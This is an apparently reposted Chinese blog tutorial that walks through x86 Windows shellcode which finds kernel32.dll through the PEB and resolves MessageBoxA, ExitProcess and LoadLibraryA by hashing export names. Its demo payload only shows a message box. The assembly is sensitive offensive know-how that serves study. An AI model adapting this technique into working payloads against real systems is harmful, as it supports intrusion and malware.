Home shellcode [转]shellcode API 自动定位

[转]shellcode API 自动定位

by zinan
1.背景知识补充
在使用shellcode的时候有个很大的问题就是动态定位API,下面这段代码介绍的是利用PE结构来寻址API的方法。
步骤:
a.找到PEB
b.找到PEB_LDR_DATA
c.找到InInitializationOrderModuleList
d.找到kernel32.dll基地址
e.找到PE头
f.找到函数导出表
g.利用导出表的AddressOfFunctions , AddressOfNames,
AddressOfNameOrdinals这三个表来寻找API地址。
直接在代码中来看吧

2.代码分析

CLD;清零CF标志位,使后面的LODSD,STOSD等方向确定
push 0x1e380a6a ;hash code of MessageBoxA
push 0x4fd18963 ;hash code of ExitProcess
push 0x0c917432 ;hash code of
LoadLibraryA;以上HASH方式即循环右移7位累加
mov esi, esp;esi指向的是这3个hash码
lea edi, [esi – 0xc];edi现在不用管,以后存储找到的API地址使会用到
;make some stack space
xor ebx, ebx
mov bh, 0x04
sub esp, ebx
;push a pointer to “user32” onto stack
mov bx, 0x3233;push ’32’
push ebx
push 0x72657375; push ‘user’
push esp
xor edx, edx;以上这段代码的目的是为调用LoadLibraryA预先准备好参数
;下面这段代码我着重说明一下:
;fs:[edx + 0x30]指向的是PEB
;PEB中偏移0x0c处即指向PEB_LDR_DATA的指针
;PEB_LDR_DATA结构如下
typedef struct _PEB_LDR_DATA

{

 ULONG Length; // +0x00

 BOOLEAN Initialized; // +0x04

 PVOID SsHandle; // +0x08

 LIST_ENTRY InLoadOrderModuleList; // +0x0c

 LIST_ENTRY InMemoryOrderModuleList; // +0x14

 LIST_ENTRY InInitializationOrderModuleList;// +0x1c

PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24

;不难看出我们所需要的InInitializationOrderModuleList在偏移为0x1c处
;至于如何由InInitializationOrderModuleList得到DLLBASE我们来看下这两个结构
typedef struct _LIST_ENTRY {
   struct _LIST_ENTRY *Flink;

   struct _LIST_ENTRY *Blink;

LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

typedef struct _LDR_DATA_TABLE_ENTRY

{

     LIST_ENTRY InLoadOrderLinks;

     LIST_ENTRY InMemoryOrderLinks;

     LIST_ENTRY InInitializationOrderLinks;

     PVOID DllBase;

     PVOID EntryPoint;

     ULONG SizeOfImage;

     UNICODE_STRING FullDllName;

     UNICODE_STRING BaseDllName;

     ULONG Flags;

     WORD LoadCount;

     WORD TlsIndex;

     union

     {

          LIST_ENTRY HashLinks;

          struct

          {

               PVOID SectionPointer;

               ULONG CheckSum;

          };

     };

     union

     {

          ULONG TimeDateStamp;

          PVOID LoadedImports;

     };

     _ACTIVATION_CONTEXT EntryPointActivationContext;

     PVOID PatchInformation;

     LIST_ENTRY ForwarderLinks;

     LIST_ENTRY ServiceTagLinks;

     LIST_ENTRY StaticLinks;

LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

;首先得到InInitializationOrderModuleList之后,由于它是一个LIST_ENTRY结构,且结构的第一个成员是FLINK,所以直接用代码mov
ecx,[ecx]即可以得到第一个成员变量(即链表上面第二个节点)。这里要注意一下,在win7环境中,第3个节点才是kernel32.dll所在。
;那么得到LIST_ENTRY之后为什么使用mov
ebp, [ecx +
0x08]就能得到kernel32.dll的基地址呢,仔细看LDR_DATA_TABLE_ENTRY结构,实际上
InInitializationOrderModuleList上的节点也是这个结构的成员。由于在这个结构中,DLLBASE紧接着InInitializationOrderModuleList,所以加8就能得到其地址了。换言之,如果想用InOrderList得到DLLBASE,就得加0x18。
;find base_addr of kernel32.dll
mov ebx, fs:[edx + 0x30] 
mov ecx, [ebx + 0x0c]
mov ecx, [ecx + 0x1C]
mov ecx, [ecx]
mov ebp, [ecx + 0x08]
这段代码光看的话很容易进入误区,就是call [edi – 0x8]为什么就是调用LoadLibraryA呢?实际上,由于前面LoadLibraryA是在那3个HASH码的底部,所以这段代码是先被跳过的,等到后面LoadLibraryA以及ExitProcess都寻址完毕后才会调用。还记得前面讲过EDI指向的是已经被寻址的API的地址吗?所以这里call
[edi -0x8]
很好理解。
find_lib_functions:
lodsd 
cmp eax, 0x1e380a6a
jne find_functions
xchg eax, ebp
call [edi -0x8]
xchg eax, ebp
;这个地方弄明白这几个常量的含义:
1.0x3c它是基于DLLBASE的指向PE头的偏移
2.0X78它是基于DLLBASE的指向导出表的偏移
3.0X20它是基于DLLBASE的指向函数名称表AddressOfNames的偏移
find_functions:
pushad ;preserve registers
mov eax, [ebp + 0x3c]
mov ecx, [ebp + eax + 0x78]
add ecx, ebp 
mov ebx, [ecx + 0x20]
add ebx, ebp 
xor edi, edi
;这段代码是逐次取得名称表中的各项
next_function_loop:
inc edi
mov esi, [ebx + edi * 4]
add esi, ebp 
cdq 
;然后用找到的各项生成HASH码
hash_loop:
movsx eax, byte ptr[esi]
cmp al,
ah;这里比较难理解,实际上是为了判断名称是否结束(由于shellcode中不能出现结束符0,所以用这句话代替)
jz compare_hash
ror edx, 7
add edx, eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp + 0x1c];这里的[esp +
0x1c]为什么取得就是要比较的HASH呢,这里实际上是之前用PUSHAD将寄存器组压栈之后,这里在使用当时压入的EAX
jnz next_function_loop
;这里要介绍一下通过那三个表AddressOfFunctions , AddressOfNames,
AddressOfNameOrdinals寻址API的方法。首先在
AddressOfNames中获得对应名称的项号,然后在AddressOfNameOrdinals中通过该项号找到真正的在AddressOfFunctions 中的项号,最后在AddressOfFunctions 中寻址。即,地址
AddressOfFunctions[AddressOfNameOrdinals[名称表中的项号]]。这里就比较疑惑了,为什么中间要走AddressOfNameOrdinals这个表呢,实际上,由于不是所有的API都有名字,所以说AddressOfNames的项数肯定要比AddressOfFunctions 中少,且它们并不是一一对应的,所以要这么做。

77e2fe96gc4fcc138149e&690.png

mov ebx, [ecx + 0x24];名称序号表的偏移
add ebx, ebp
mov di, [ebx + 2 * edi];得到函数地址表的项号
mov ebx, [ecx + 0x1c];函数地址表的偏移
add ebx, ebp
add ebp, [ebx + 4 * edi];得到函数地址
xchg eax, ebp
pop edi
stosd
push edi
popad
cmp eax, 0x1e380a6a
jne find_lib_functions
function_call:
xor ebx, ebx
push ebx
push 0x74736577
push 0x6c696166
mov eax, esp
push ebx
push eax
push eax
push ebx
call [edi – 0x04]
push ebx
call [edi – 0x08]
nop
nop
nop
nop

0 comment

You may also like

Leave a Comment